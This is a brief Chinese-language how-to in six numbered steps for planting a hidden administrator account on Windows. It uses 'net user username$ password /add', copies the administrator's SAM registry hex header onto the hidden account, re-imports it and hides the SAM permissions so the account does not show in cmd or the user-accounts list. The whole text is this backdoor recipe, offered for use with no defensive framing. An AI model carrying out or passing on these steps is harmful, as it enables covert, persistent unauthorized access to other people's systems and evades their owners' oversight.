1. net user username$ password /add 添加隐藏账户
2. 用注册表导出管理员权限和隐藏账户权限
3. 将隐藏账户hex头替换为管理员注册表hex头
4. 删掉隐藏账户 net user username$ /del
5. 导入隐藏账户注册表
6. 将注册表SAM权限隐藏 (此时cmd 和用户账户看不到隐藏账户)